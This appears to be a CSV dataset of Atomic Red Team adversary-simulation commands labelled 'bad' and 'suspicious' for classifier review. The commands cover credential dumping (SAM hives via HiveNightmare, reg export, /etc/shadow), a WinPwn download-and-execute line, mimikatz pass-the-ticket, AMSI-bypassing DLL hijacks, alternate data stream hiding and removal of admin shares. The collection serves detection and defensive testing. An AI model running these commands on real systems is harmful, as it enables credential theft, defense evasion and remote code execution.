a4089aa986a3932d66a93b3e,"for /L %a in (1,1,#{limit}) do @(certutil -f -v -encodehex ""\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy%a\Windows\System32\config\#{target_hive}"" %temp%\#{target_hive}vss%a 2 >nul 2>&1) & dir /B %temp%\#{target_hive}vss*","for /L %a in (1,1,#{limit}) do @(certutil -f -v -encodehex ""\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy%a\Windows\System32\config\#{target_hive}"" %temp%\#{target_hive}vss%a 2 >nul 2>&1) & dir /B %temp%\#{target_hive}vss*",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1003.002/T1003.002.yaml,dump volume shadow copy hives with certutil,T1003.002,"[""T1003.002""]",windows,0.9,False,"Dump hives from volume shadow copies with the certutil utility, exploiting a vulnerability known as ""HiveNightmare"" or ""SeriousSAM"".
This can be done with a non-admin user account. [CVE-2021-36934](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-36934)
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a748748016f5e74565d8b636,"for /L %a in (1,1,#{limit}) do @(del %temp%\#{target_hive}vss%a >nul 2>&1)","for /L %a in (1,1,#{limit}) do @(del %temp%\#{target_hive}vss%a >nul 2>&1)",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1003.002/T1003.002.yaml,dump volume shadow copy hives with certutil,T1003.002,"[""T1003.002""]",windows,0.55,True,"Dump hives from volume shadow copies with the certutil utility, exploiting a vulnerability known as ""HiveNightmare"" or ""SeriousSAM"".
This can be done with a non-admin user account. [CVE-2021-36934](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-36934)
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
fa12d70b040019ea2e3e5d23,"1..#{limit} | % { try { [System.IO.File]::Copy(""\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy$_\Windows\System32\config\#{target_hive}"" , ""$env:TEMP\#{target_hive}vss$_"", ""true"") } catch {} ls ""$env:TEMP\#{target_hive}vss$_"" -ErrorAction Ignore }","1..#{limit} | % { try { [System.IO.File]::Copy(""\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy$_\Windows\System32\config\#{target_hive}"" , ""$env:TEMP\#{target_hive}vss$_"", ""true"") } catch {} ls ""$env:TEMP\#{target_hive}vss$_"" -ErrorAction Ignore }",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1003.002/T1003.002.yaml,dump volume shadow copy hives with System.IO.File,T1003.002,"[""T1003.002""]",windows,0.9,False,"Dump hives from volume shadow copies with System.IO.File. [CVE-2021-36934](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-36934)
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
8811dba41d3ec456cc1cfb20,"1..#{limit} | % { rm ""$env:TEMP\#{target_hive}vss$_"" -ErrorAction Ignore }","1..#{limit} | % { rm ""$env:TEMP\#{target_hive}vss$_"" -ErrorAction Ignore }",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1003.002/T1003.002.yaml,dump volume shadow copy hives with System.IO.File,T1003.002,"[""T1003.002""]",windows,0.55,True,"Dump hives from volume shadow copies with System.IO.File. [CVE-2021-36934](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-36934)
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ddc26a419fbc7c13d264dae6,iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') samfile -consoleoutput -noninteractive,iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') samfile -consoleoutput -noninteractive,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1003.002/T1003.002.yaml,WinPwn - Loot local Credentials - Dump SAM-File for NTLM Hashes,T1003.002,"[""T1003.002""]",windows,0.9,False,Loot local Credentials - Dump SAM-File for NTLM Hashes technique via function of WinPwn,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
0121ade97e70022117ab9e9a,reg export HKLM\sam %temp%\sam reg export HKLM\system %temp%\system reg export HKLM\security %temp%\security,reg export HKLM\sam %temp%\sam reg export HKLM\system %temp%\system reg export HKLM\security %temp%\security,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1003.002/T1003.002.yaml,"Dumping of SAM, creds, and secrets(Reg Export)",T1003.002,"[""T1003.002""]",windows,0.9,False,"Local SAM (SAM & System), cached credentials (System & Security) and LSA secrets (System & Security) can be enumerated via three registry keys. Used reg export to execute this behavior
Upon successful execution of this test, you will find three files named, sam, system and security in the %temp% directory.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
04dcaec073c85ce2f91d81af,"""#{mimikatz_exe}"" ""kerberos::ptt #{ticket}""","""#{mimikatz_exe}"" ""kerberos::ptt #{ticket}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1550.003/T1550.003.yaml,Mimikatz Kerberos Ticket Attack,T1550.003,"[""T1550.003""]",windows,0.9,False,"Similar to PTH, but attacking Kerberos
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
cb503aacd0ebb42da61e9596,sudo cat /etc/shadow > #{output_file} cat #{output_file},sudo cat /etc/shadow > #{output_file} cat #{output_file},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1003.008/T1003.008.yaml,Access /etc/shadow (Local),T1003.008,"[""T1003.008""]",linux,0.9,False,"/etc/shadow file is accessed in Linux environments
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f6f3eb6ab8a04ee1143d4382,rm -f #{output_file},rm -f #{output_file},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1003.008/T1003.008.yaml,Access /etc/shadow (Local),T1003.008,"[""T1003.008""]",linux,0.55,True,"/etc/shadow file is accessed in Linux environments
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f7b9a7fe1ceda06559b23d48,sudo cat /etc/master.passwd > #{output_file} cat #{output_file},sudo cat /etc/master.passwd > #{output_file} cat #{output_file},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1003.008/T1003.008.yaml,Access /etc/master.passwd (Local),T1003.008,"[""T1003.008""]",linux,0.9,False,"/etc/master.passwd file is accessed in FreeBSD environments
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
1b69f3c0b3154481a8358595,cat /etc/passwd > #{output_file} cat #{output_file},cat /etc/passwd > #{output_file} cat #{output_file},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1003.008/T1003.008.yaml,Access /etc/passwd (Local),T1003.008,"[""T1003.008""]",linux,0.9,False,"/etc/passwd file is accessed in FreeBSD and Linux environments
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
c955648b1f96a2a676c143a1,"unamestr=$(uname) if [ ""$unamestr"" = 'Linux' ]; then echo -e ""e /etc/passwd\n,p\ne /etc/shadow\n,p\n"" | ed > #{output_file}; elif [ ""$unamestr"" = 'FreeBSD' ]; then echo -e ""e /etc/passwd\n,p\ne /etc/master.passwd\n,p\ne /etc/shadow\n,p\n"" | ed > #{output_file}; fi","unamestr=$(uname) if [ ""$unamestr"" = 'Linux' ]; then echo -e ""e /etc/passwd\n,p\ne /etc/shadow\n,p\n"" | ed > #{output_file}; elif [ ""$unamestr"" = 'FreeBSD' ]; then echo -e ""e /etc/passwd\n,p\ne /etc/master.passwd\n,p\ne /etc/shadow\n,p\n"" | ed > #{output_file}; fi",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1003.008/T1003.008.yaml,"Access /etc/{shadow,passwd,master.passwd} with a standard bin that's not cat",T1003.008,"[""T1003.008""]",linux,0.9,False,"Dump /etc/passwd, /etc/master.passwd and /etc/shadow using ed
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
bacc37707915a21a3cf532cb,"testcat(){ (while read line; do echo $line >> #{output_file}; done < $1) } [ ""$(uname)"" = 'FreeBSD' ] && testcat /etc/master.passwd testcat /etc/passwd testcat /etc/shadow","testcat(){ (while read line; do echo $line >> #{output_file}; done < $1) } [ ""$(uname)"" = 'FreeBSD' ] && testcat /etc/master.passwd testcat /etc/passwd testcat /etc/shadow",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1003.008/T1003.008.yaml,"Access /etc/{shadow,passwd,master.passwd} with shell builtins",T1003.008,"[""T1003.008""]",linux,0.9,False,"Dump /etc/passwd, /etc/master.passwd and /etc/shadow using sh builtins
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
2487e5ed71c86375c5d3b505,"if (!(Test-Path C:\Users\Public\Libraries\yanki -PathType Container)) { New-Item -ItemType Directory -Force -Path C:\Users\Public\Libraries\yanki } Start-Process -FilePath ""$env:comspec"" -ArgumentList ""/c,type,#{payload_path},>,`""#{ads_file_path}:#{ads_name}`""""","if (!(Test-Path C:\Users\Public\Libraries\yanki -PathType Container)) { New-Item -ItemType Directory -Force -Path C:\Users\Public\Libraries\yanki } Start-Process -FilePath ""$env:comspec"" -ArgumentList ""/c,type,#{payload_path},>,`""#{ads_file_path}:#{ads_name}`""""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1564.004/T1564.004.yaml,Store file in Alternate Data Stream (ADS),T1564.004,"[""T1564.004""]",windows,0.9,False,"Storing files in Alternate Data Stream (ADS) similar to Astaroth malware.
Upon execution, cmd will run and attempt to launch desktop.ini. No windows remain open after the test
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9e6428ab37a1fa51cce04567,"Remove-Item ""#{ads_file_path}"" -Force -ErrorAction Ignore","Remove-Item ""#{ads_file_path}"" -Force -ErrorAction Ignore",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1564.004/T1564.004.yaml,Store file in Alternate Data Stream (ADS),T1564.004,"[""T1564.004""]",windows,0.55,True,"Storing files in Alternate Data Stream (ADS) similar to Astaroth malware.
Upon execution, cmd will run and attempt to launch desktop.ini. No windows remain open after the test
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d7571917f715bacf39998f45,"echo cmd /c echo ""Shell code execution.""> #{file_name}:#{ads_filename} for /f ""usebackq delims=?"" %i in (#{file_name}:#{ads_filename}) do %i","echo cmd /c echo ""Shell code execution.""> #{file_name}:#{ads_filename} for /f ""usebackq delims=?"" %i in (#{file_name}:#{ads_filename}) do %i",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1564.004/T1564.004.yaml,Create ADS command prompt,T1564.004,"[""T1564.004""]",windows,0.9,False,"Create an Alternate Data Stream with the command prompt. Write access is required. Upon execution, run ""dir /a-d /s /r | find "":$DATA"""" in the %temp%
folder to view that the alternate data stream exists. To view the data in the alternate data stream, run ""notepad T1564.004_has_ads.txt:adstest.txt""
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
cef98c3112d2a382ddae14ce,del #{file_name} >nul 2>&1,del #{file_name} >nul 2>&1,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1564.004/T1564.004.yaml,Create ADS command prompt,T1564.004,"[""T1564.004""]",windows,0.55,True,"Create an Alternate Data Stream with the command prompt. Write access is required. Upon execution, run ""dir /a-d /s /r | find "":$DATA"""" in the %temp%
folder to view that the alternate data stream exists. To view the data in the alternate data stream, run ""notepad T1564.004_has_ads.txt:adstest.txt""
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
43035caa789afca6225fe671,"echo ""test"" > #{file_name} | set-content -path test.txt -stream #{ads_filename} -value ""test"" set-content -path #{file_name} -stream #{ads_filename} -value ""test2"" set-content -path . -stream #{ads_filename} -value ""test3""","echo ""test"" > #{file_name} | set-content -path test.txt -stream #{ads_filename} -value ""test"" set-content -path #{file_name} -stream #{ads_filename} -value ""test2"" set-content -path . -stream #{ads_filename} -value ""test3""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1564.004/T1564.004.yaml,Create ADS PowerShell,T1564.004,"[""T1564.004""]",windows,0.9,False,"Create an Alternate Data Stream with PowerShell. Write access is required. To verify execution, run the command ""ls -Recurse | %{ gi $_.Fullname -stream *} | where stream -ne ':$Data' | Select-Object pschildname""
in the %temp% directory to view all files with hidden data streams. To view the data in the alternate data stream, run ""notepad.exe T1564.004_has_ads_powershell.txt:adstest.txt"" in the %temp% folder.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
3bdaf369161766a45fa6b6d3,Remove-Item -Path #{file_name} -ErrorAction Ignore,Remove-Item -Path #{file_name} -ErrorAction Ignore,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1564.004/T1564.004.yaml,Create ADS PowerShell,T1564.004,"[""T1564.004""]",windows,0.55,True,"Create an Alternate Data Stream with PowerShell. Write access is required. To verify execution, run the command ""ls -Recurse | %{ gi $_.Fullname -stream *} | where stream -ne ':$Data' | Select-Object pschildname""
in the %temp% directory to view all files with hidden data streams. To view the data in the alternate data stream, run ""notepad.exe T1564.004_has_ads_powershell.txt:adstest.txt"" in the %temp% folder.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4cadd76d5e92194dbc9d2a64,md #{folder_name} echo too many secrets > #{folder_name}\#{hidden_filename},md #{folder_name} echo too many secrets > #{folder_name}\#{hidden_filename},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1564.004/T1564.004.yaml,Create Hidden Directory via $index_allocation,T1564.004,"[""T1564.004""]",windows,0.9,False,"Create an Alternate Data Stream Directory and File with the command prompt. Write access is required. Upon execution,
run ""dir /A /Q /R"" in the %temp% folder to view that the alternate data stream folder exists. To view the data in the
alternate data stream, run ""type %temp%\...$.......::$index_allocation\secrets.txt""
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9dc0f0a57dabe837504ba283,rmdir /S /Q #{folder_name} >nul 2>&1,rmdir /S /Q #{folder_name} >nul 2>&1,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1564.004/T1564.004.yaml,Create Hidden Directory via $index_allocation,T1564.004,"[""T1564.004""]",windows,0.55,True,"Create an Alternate Data Stream Directory and File with the command prompt. Write access is required. Upon execution,
run ""dir /A /Q /R"" in the %temp% folder to view that the alternate data stream folder exists. To view the data in the
alternate data stream, run ""type %temp%\...$.......::$index_allocation\secrets.txt""
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e9d9064b706a9478df8fc07f,"reg.exe import ""#{registry_file}""","reg.exe import ""#{registry_file}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1546.010/T1546.010.yaml,Install AppInit Shim,T1546.010,"[""T1546.010""]",windows,0.9,False,"AppInit_DLLs is a mechanism that allows an arbitrary list of DLLs to be loaded into each user mode process on the system. Upon succesfully execution, 
you will see the message ""The operation completed successfully."" Each time the DLL is loaded, you will see a message box with a message of ""Install AppInit Shim DLL was called!"" appear.
This will happen regularly as your computer starts up various applications and may in fact drive you crazy. A reliable way to make the message box appear and verif",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a99d0fa0d8e31e7f4704df47,"reg.exe import ""#{registry_cleanup_file}"" >nul 2>&1","reg.exe import ""#{registry_cleanup_file}"" >nul 2>&1",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1546.010/T1546.010.yaml,Install AppInit Shim,T1546.010,"[""T1546.010""]",windows,0.55,True,"AppInit_DLLs is a mechanism that allows an arbitrary list of DLLs to be loaded into each user mode process on the system. Upon succesfully execution, 
you will see the message ""The operation completed successfully."" Each time the DLL is loaded, you will see a message box with a message of ""Install AppInit Shim DLL was called!"" appear.
This will happen regularly as your computer starts up various applications and may in fact drive you crazy. A reliable way to make the message box appear and verif",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9e96d2fa7f02478b9f299885,copy %windir%\System32\windowspowershell\v1.0\powershell.exe %APPDATA%\updater.exe copy %windir%\System32\amsi.dll %APPDATA%\amsi.dll %APPDATA%\updater.exe -Command exit,copy %windir%\System32\windowspowershell\v1.0\powershell.exe %APPDATA%\updater.exe copy %windir%\System32\amsi.dll %APPDATA%\amsi.dll %APPDATA%\updater.exe -Command exit,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1574.001/T1574.001.yaml,DLL Search Order Hijacking - amsi.dll,T1574.001,"[""T1574.001""]",windows,0.9,False,"Adversaries can take advantage of insecure library loading by PowerShell to load a vulnerable version of amsi.dll in order to bypass AMSI (Anti-Malware Scanning Interface)
https://enigma0x3.net/2017/07/19/bypassing-amsi-via-com-server-hijacking/

Upon successful execution, powershell.exe will be copied and renamed to updater.exe and load amsi.dll from a non-standard path.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9c2ce53f955237fda0e62f08,del %APPDATA%\updater.exe >nul 2>&1 del %APPDATA%\amsi.dll >nul 2>&1,del %APPDATA%\updater.exe >nul 2>&1 del %APPDATA%\amsi.dll >nul 2>&1,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1574.001/T1574.001.yaml,DLL Search Order Hijacking - amsi.dll,T1574.001,"[""T1574.001""]",windows,0.55,True,"Adversaries can take advantage of insecure library loading by PowerShell to load a vulnerable version of amsi.dll in order to bypass AMSI (Anti-Malware Scanning Interface)
https://enigma0x3.net/2017/07/19/bypassing-amsi-via-com-server-hijacking/

Upon successful execution, powershell.exe will be copied and renamed to updater.exe and load amsi.dll from a non-standard path.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
6792a87bd89929c921091d16,"copy %windir%\System32\amsi.dll %APPDATA%\amsi.dll ren %APPDATA%\amsi.dll WinAppXRT.dll copy %APPDATA%\WinAppXRT.dll %windir%\System32\WinAppXRT.dll reg add ""HKEY_CURRENT_USER\Environment"" /v APPX_PROCESS /t REG_EXPAND_SZ /d ""1"" /f","copy %windir%\System32\amsi.dll %APPDATA%\amsi.dll ren %APPDATA%\amsi.dll WinAppXRT.dll copy %APPDATA%\WinAppXRT.dll %windir%\System32\WinAppXRT.dll reg add ""HKEY_CURRENT_USER\Environment"" /v APPX_PROCESS /t REG_EXPAND_SZ /d ""1"" /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1574.001/T1574.001.yaml,Phantom Dll Hijacking - WinAppXRT.dll,T1574.001,"[""T1574.001""]",windows,0.9,False,".NET components (a couple of DLLs loaded anytime .NET apps are executed) when they are loaded they look for an environment variable called APPX_PROCESS
Setting the environmental variable and dropping the phantom WinAppXRT.dll in e.g. c:\windows\system32 (or any other location accessible via PATH) will ensure the 
WinAppXRT.dll is loaded everytime user launches an application using .NET.

Upon successful execution, amsi.dll will be copied and renamed to WinAppXRT.dll and then WinAppXRT.dll will b",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
1bbaa810a96254ff7cdca85b,"reg delete ""HKEY_CURRENT_USER\Environment"" /v APPX_PROCESS /f del %windir%\System32\WinAppXRT.dll del %APPDATA%\WinAppXRT.dll","reg delete ""HKEY_CURRENT_USER\Environment"" /v APPX_PROCESS /f del %windir%\System32\WinAppXRT.dll del %APPDATA%\WinAppXRT.dll",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1574.001/T1574.001.yaml,Phantom Dll Hijacking - WinAppXRT.dll,T1574.001,"[""T1574.001""]",windows,0.55,True,".NET components (a couple of DLLs loaded anytime .NET apps are executed) when they are loaded they look for an environment variable called APPX_PROCESS
Setting the environmental variable and dropping the phantom WinAppXRT.dll in e.g. c:\windows\system32 (or any other location accessible via PATH) will ensure the 
WinAppXRT.dll is loaded everytime user launches an application using .NET.

Upon successful execution, amsi.dll will be copied and renamed to WinAppXRT.dll and then WinAppXRT.dll will b",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4d469cddb5d992d795d0f254,copy %windir%\System32\amsi.dll %APPDATA%\amsi.dll ren %APPDATA%\amsi.dll ualapi.dll copy %APPDATA%\ualapi.dll %windir%\System32\ualapi.dll sc config Spooler start=auto,copy %windir%\System32\amsi.dll %APPDATA%\amsi.dll ren %APPDATA%\amsi.dll ualapi.dll copy %APPDATA%\ualapi.dll %windir%\System32\ualapi.dll sc config Spooler start=auto,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1574.001/T1574.001.yaml,Phantom Dll Hijacking - ualapi.dll,T1574.001,"[""T1574.001""]",windows,0.9,False,"Re-starting the Print Spooler service leads to C:\Windows\System32\ualapi.dll being loaded
A malicious ualapi.dll placed in the System32 directory will lead to its execution whenever the system starts

Upon successful execution, amsi.dll will be copied and renamed to ualapi.dll and then ualapi.dll will be copied to system32 folder for loading during system restart.
Print Spooler service is also configured to auto start. Reboot of system is required
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ba52f96ba2f7c5aa428483f7,del %windir%\System32\ualapi.dll del %APPDATA%\ualapi.dll,del %windir%\System32\ualapi.dll del %APPDATA%\ualapi.dll,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1574.001/T1574.001.yaml,Phantom Dll Hijacking - ualapi.dll,T1574.001,"[""T1574.001""]",windows,0.55,True,"Re-starting the Print Spooler service leads to C:\Windows\System32\ualapi.dll being loaded
A malicious ualapi.dll placed in the System32 directory will lead to its execution whenever the system starts

Upon successful execution, amsi.dll will be copied and renamed to ualapi.dll and then ualapi.dll will be copied to system32 folder for loading during system restart.
Print Spooler service is also configured to auto start. Reboot of system is required
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f27a779caf066c785bfdda16,taskkill /F /IM #{process_name} >nul 2>&1,taskkill /F /IM #{process_name} >nul 2>&1,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1574.001/T1574.001.yaml,DLL Side-Loading using the Notepad++ GUP.exe binary,T1574.001,"[""T1574.001""]",windows,0.55,True,"GUP is an open source signed binary used by Notepad++ for software updates, and is vulnerable to DLL Side-Loading, thus enabling the libcurl dll to be loaded.
Upon execution, calc.exe will be opened.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
3f73f8824d2d770ce41bd9fe,"set DOTNET_STARTUP_HOOKS=""#{preloader_dll}"" dotnet -h > nul echo.","set DOTNET_STARTUP_HOOKS=""#{preloader_dll}"" dotnet -h > nul echo.",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1574.001/T1574.001.yaml,DLL Side-Loading using the dotnet startup hook environment variable,T1574.001,"[""T1574.001""]",windows,0.9,False,"Utilizing the dotnet_startup_hooks environment variable, this method allows for registering a global method in an assembly that will be executed whenever a .net core application is started. This unlocks a whole range of scenarios, from injecting a profiler to tweaking a static context in a given environment. [blog post](https://medium.com/criteo-engineering/c-have-some-fun-with-net-core-startup-hooks-498b9ad001e1)
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
843a86149cad9eee7f3a42c2,"Write-Host 1.Kindly close the popup window asking for KeyScramblerIE.dll ,so that it gets deleted. Remove-Item -Path $env:Temp\KeyScrambler_Setup.exe Start-Process -FilePath ""C:\Program Files (x86)\KeyScrambler\Uninstall.exe"" -ArgumentList /S -Wait Remove-Item -Path $env:Temp\KeyScrambler.exe Write-Host 2.KeyScrambler cleanup completed successfully.","Write-Host 1.Kindly close the popup window asking for KeyScramblerIE.dll ,so that it gets deleted. Remove-Item -Path $env:Temp\KeyScrambler_Setup.exe Start-Process -FilePath ""C:\Program Files (x86)\KeyScrambler\Uninstall.exe"" -ArgumentList /S -Wait Remove-Item -Path $env:Temp\KeyScrambler.exe Write-Host 2.KeyScrambler cleanup completed successfully.",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1574.001/T1574.001.yaml,"DLL Search Order Hijacking,DLL Sideloading Of KeyScramblerIE.DLL Via KeyScrambler.EXE",T1574.001,"[""T1574.001""]",windows,0.55,True,"Various threat actors and malware have been found side loading a masqueraded ""KeyScramblerIE.dll"" through ""KeyScrambler.exe"", which can load further executables embedded in modified KeyScramblerIE.dll file.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ffcd668af7214c75889a0d68,"net use c: #{share_name} net share test=#{share_name} /REMARK:""test share"" /CACHE:No","net use c: #{share_name} net share test=#{share_name} /REMARK:""test share"" /CACHE:No",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1070.005/T1070.005.yaml,Add Network Share,T1070.005,"[""T1070.005""]",windows,0.9,False,"Add a Network Share utilizing the command_prompt
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
16eff8402671206c74eda4b0,net share #{share_name} /delete,net share #{share_name} /delete,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1070.005/T1070.005.yaml,Remove Network Share,T1070.005,"[""T1070.005""]",windows,0.9,False,"Removes a Network Share utilizing the command_prompt
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
bacc9fb06014e277eb5ba219,Remove-SmbShare -Name #{share_name} Remove-FileShare -Name #{share_name},Remove-SmbShare -Name #{share_name} Remove-FileShare -Name #{share_name},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1070.005/T1070.005.yaml,Remove Network Share PowerShell,T1070.005,"[""T1070.005""]",windows,0.9,False,"Removes a Network Share utilizing PowerShell
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
da57e1cd009f441cffddb150,"reg add ""HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters"" /v AutoShareServer /t REG_DWORD /d 0 /f reg add ""HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters"" /v AutoShareWks /t REG_DWORD /d 0 /f","reg add ""HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters"" /v AutoShareServer /t REG_DWORD /d 0 /f reg add ""HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters"" /v AutoShareWks /t REG_DWORD /d 0 /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1070.005/T1070.005.yaml,Disable Administrative Share Creation at Startup,T1070.005,"[""T1070.005""]",windows,0.9,False,"Administrative shares are hidden network shares created by Microsoft’s Windows NT operating systems that grant system administrators 
remote access to every disk volume on a network-connected system. These shares are automatically created at started unless they have been
purposefully disabled as is done in this Atomic test. As Microsoft puts it, ""Missing administrative shares typically 
indicate that the computer in question has been compromised by malicious software.""
https://threatpost.com/con",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
5645ac53a598b7e7ed86faba,"reg delete ""HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters"" /v AutoShareServer /f reg delete ""HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters"" /v AutoShareWks /f","reg delete ""HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters"" /v AutoShareServer /f reg delete ""HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters"" /v AutoShareWks /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1070.005/T1070.005.yaml,Disable Administrative Share Creation at Startup,T1070.005,"[""T1070.005""]",windows,0.55,True,"Administrative shares are hidden network shares created by Microsoft’s Windows NT operating systems that grant system administrators 
remote access to every disk volume on a network-connected system. These shares are automatically created at started unless they have been
purposefully disabled as is done in this Atomic test. As Microsoft puts it, ""Missing administrative shares typically 
indicate that the computer in question has been compromised by malicious software.""
https://threatpost.com/con",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
adbb9db63819f976c76c638f,for %i in (C$ IPC$ ADMIN$) do net share %i /delete,for %i in (C$ IPC$ ADMIN$) do net share %i /delete,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1070.005/T1070.005.yaml,Remove Administrative Shares,T1070.005,"[""T1070.005""]",windows,0.9,False,"Administrative shares are hidden network shares created by Microsoft’s Windows NT operating systems that grant system administrators 
remote access to every disk volume on a network-connected system. As Microsoft puts it, “Missing administrative shares typically 
indicate that the computer in question has been compromised by malicious software.
